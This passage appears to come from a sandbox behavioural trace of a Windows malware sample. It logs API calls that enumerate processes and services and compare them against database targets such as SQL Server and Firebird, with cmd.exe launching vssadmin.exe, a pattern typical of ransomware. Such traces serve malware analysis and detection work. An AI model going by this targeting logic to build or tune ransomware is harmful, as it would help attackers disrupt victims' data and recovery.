-1 [0052.530] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0052.530] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0052.530] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.530] lstrlenW (lpString="csrss.exe") returned 9 [0052.530] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.531] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.531] lstrlenW (lpString="winlogon.exe") returned 12 [0052.531] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.531] lstrlenW (lpString="services.exe") returned 12 [0052.531] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.532] lstrlenW (lpString="lsass.exe") returned 9 [0052.532] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0052.532] lstrlenW (lpString="lsm.exe") returned 7 [0052.532] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.533] lstrlenW (lpString="svchost.exe") returned 11 [0052.533] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.533] lstrlenW (lpString="svchost.exe") returned 11 [0052.533] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.534] lstrlenW (lpString="svchost.exe") returned 11 [0052.534] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.534] lstrlenW (lpString="svchost.exe") returned 11 [0052.534] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.535] lstrlenW (lpString="svchost.exe") returned 11 [0052.535] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.535] lstrlenW (lpString="audiodg.exe") returned 11 [0052.535] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.536] lstrlenW (lpString="svchost.exe") returned 11 [0052.536] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.536] lstrlenW (lpString="svchost.exe") returned 11 [0052.536] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.537] lstrlenW (lpString="dwm.exe") returned 7 [0052.537] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.537] lstrlenW (lpString="explorer.exe") returned 12 [0052.537] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.538] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.538] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.538] lstrlenW (lpString="taskhost.exe") returned 12 [0052.538] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.539] lstrlenW (lpString="svchost.exe") returned 11 [0052.539] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.539] lstrlenW (lpString="taskeng.exe") returned 11 [0052.539] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.540] lstrlenW (lpString="taskhost.exe") returned 12 [0052.540] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0052.540] lstrlenW (lpString="br_maintaining.exe") returned 18 [0052.540] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0052.541] lstrlenW (lpString="kitsenormous.exe") returned 16 [0052.541] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0052.541] lstrlenW (lpString="intermediate-components.exe") returned 27 [0052.541] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0052.542] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0052.542] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0052.542] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0052.542] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0052.543] lstrlenW (lpString="stupid.exe") returned 10 [0052.543] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0052.543] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0052.543] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0052.544] lstrlenW (lpString="addition.exe") returned 12 [0052.544] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0052.544] lstrlenW (lpString="kept retirement.exe") returned 19 [0052.544] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0052.545] lstrlenW (lpString="lmmold.exe") returned 10 [0052.545] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0052.545] lstrlenW (lpString="soma weighted.exe") returned 17 [0052.545] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0052.546] lstrlenW (lpString="cartridge donation.exe") returned 22 [0052.546] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0052.546] lstrlenW (lpString="anti.exe") returned 8 [0052.546] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0052.547] lstrlenW (lpString="cashiersshot.exe") returned 16 [0052.547] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0052.547] lstrlenW (lpString="poundfi.exe") returned 11 [0052.547] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0052.548] lstrlenW (lpString="conditions_hired.exe") returned 20 [0052.548] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0052.840] lstrlenW (lpString="mercedes.exe") returned 12 [0052.841] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0052.860] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0052.860] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0052.872] lstrlenW (lpString="training_wiring.exe") returned 19 [0052.874] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0052.875] lstrlenW (lpString="democratic.exe") returned 14 [0052.875] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0052.876] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0052.876] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0052.876] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0052.876] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0052.877] lstrlenW (lpString="documented.exe") returned 14 [0052.877] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0052.877] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0052.877] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0052.878] lstrlenW (lpString="n.exe") returned 5 [0052.878] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0052.878] lstrlenW (lpString="cmd.exe") returned 7 [0052.878] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0052.879] lstrlenW (lpString="conhost.exe") returned 11 [0052.879] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0052.879] lstrlenW (lpString="vssadmin.exe") returned 12 [0052.879] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0052.880] lstrlenW (lpString="VSSVC.exe") returned 9 [0052.880] Process32NextW (in: hSnapshot=0x1f4, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0052.880] CloseHandle (hObject=0x1f4) returned 1 [0052.880] Sleep (dwMilliseconds=0x1f4) [0053.821] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fca0 [0053.821] EnumServicesStatusExW (in: hSCManager=0x73fca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0053.822] GetLastError () returned 0xea [0053.822] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0053.822] EnumServicesStatusExW (in: hSCManager=0x73fca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0053.822] CloseServiceHandle (hSCObject=0x73fca0) returned 1 [0053.822] lstrlenW (lpString="Appinfo") returned 7 [0053.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.823] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.823] lstrlenW (lpString="AudioSrv") returned 8 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.823] lstrlenW (lpString="BFE") returned 3 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.823] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.823] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.823] lstrlenW (lpString="CryptSvc") returned 8 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.823] lstrlenW (lpString="CscService") returned 10 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.823] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.823] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.823] lstrlenW (lpString="DcomLaunch") returned 10 [0053.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.823] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.824] lstrlenW (lpString="Dhcp") returned 4 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.824] lstrlenW (lpString="Dnscache") returned 8 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.824] lstrlenW (lpString="DPS") returned 3 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.824] lstrlenW (lpString="eventlog") returned 8 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.824] lstrlenW (lpString="EventSystem") returned 11 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.824] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.824] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.824] lstrlenW (lpString="gpsvc") returned 5 [0053.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.825] lstrlenW (lpString="iphlpsvc") returned 8 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.825] 